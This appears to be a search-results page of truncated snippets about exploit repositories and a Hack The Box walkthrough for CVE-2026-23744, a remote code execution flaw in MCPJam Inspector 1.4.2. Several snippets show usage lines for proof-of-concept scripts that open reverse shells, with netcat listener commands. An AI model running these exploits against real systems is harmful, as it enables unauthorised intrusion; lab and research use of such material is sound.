26 matches found
CVE-2026-23744
CVE-2026-23744 python3 CVE-2026-23744.py -u http://devhub.htb:6274 -i 10.10.14.106 -p 4321...
mcpExec
mcpExec is a tool that takes advantage of the CVE-2026-23744 to gather a reverse shell using the URL of the vulnerable MCPJam Inspector installation. Installation root@kitploit: git clone https://github.com/daemoncibsec/mcpExec.git cd mcpExec python3 -m venv venv source venv/bin/activate pip...
mcpjaminspector-unauth-rce
mcpjaminspector-unauth-rce CVE-2026-23744 MCPJam inspector = 1.4.2 におけるRCE 脆弱性の詳細 https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6 使用方法 root@kitploit: usage: mcpjaminspector-unauth-rce.py -h --target TARGET --command COMMAND options: -h, --help show this help message an...
MCPJam Inspector - Remote Code Execution
MCPJam inspector is the local-first development platform for MCP servers. The Latest version 1.4.2 and earlier are vulnerable to a remote code execution RCE vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. id:...
CVE-2026-23744
This repository does not have a README...
CVE-2026-23744-exploit
This repository does not have a README...
CVE-2026-23744-PoC
此存储库没有 README。...
MCPJam-Inspector-1.4.2-Remote-Code-Execution-CVE-2026-23744
Kali Linux上 - ターミナル1 nc -lvnp 4444 Kali Linux上 - ターミナル2 python3 ./CVE-2026-23744.py -t http://TARGET.com -p 4444 -i YOUR-KALI-LINUX-IP...
DevHub-HTB-Walkthrough
DevHub – HTB 通关攻略（中等难度 Linux） 靶机： DevHub 难度： 中等 操作系统： Linux 主题： CVE-2026-23744、Chisel 隧道、Jupyter、Flask API、Root 权限提升 📌 1. 信息收集 root@kitploit: nmap -sC -sV devhub.htb 结果： 端口 22（SSH） 端口 80（HTTP） 端口 6274（MCPJam Inspector） 📌 2. 修改 hosts 文件 echo "10.x.x.x devhub.htb" /etc/hosts 📌 3. 探索网站...
CVE-2026-23744
root@kitploit: usage: exploit.py -h --lhost LHOST --lport LPORT --rhost RHOST CVE-2026-23744 - PoC options: -h, --help show this help message and exit --lhost, -l LHOST Attacker IP address --lport, -p LPORT Attacker port --rhost, -t RHOST Target URL...
CVE-2026-23744
This repository does not have a README...
CVE-2026-23744
CVE-2026-23744 script em python para explorar a CVE-2026-23744 como usar : primeiro, você deve abrir dois terminais primeiro terminal -- nc -nvlp 4444 segundo terminal -- python CVE-2026-23744.py -lhost seu ip -url url alvo para o menu de ajuda : python CVE-2026-23744.py -h...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
CVE-2026-23744: Unauthenticated Remote Code Execution PoC...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
MCPJam Inspector Authorized Security Validator A bounded proo...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
cve-2026...
📄 MCPJam Inspector 1.4.2 Command Injection
This is an advanced Python proof of concept for CVE-2026-23744 demonstrating command injection through a vulnerable MCP API endpoint, leading to remote code execution and reverse shell access. The script supports multiple payload types, endpoint discovery, listener management, and several...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
CVE-2026-23744 --- Description MCPJam inspector is a loca...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
on kali linux - terminal 1...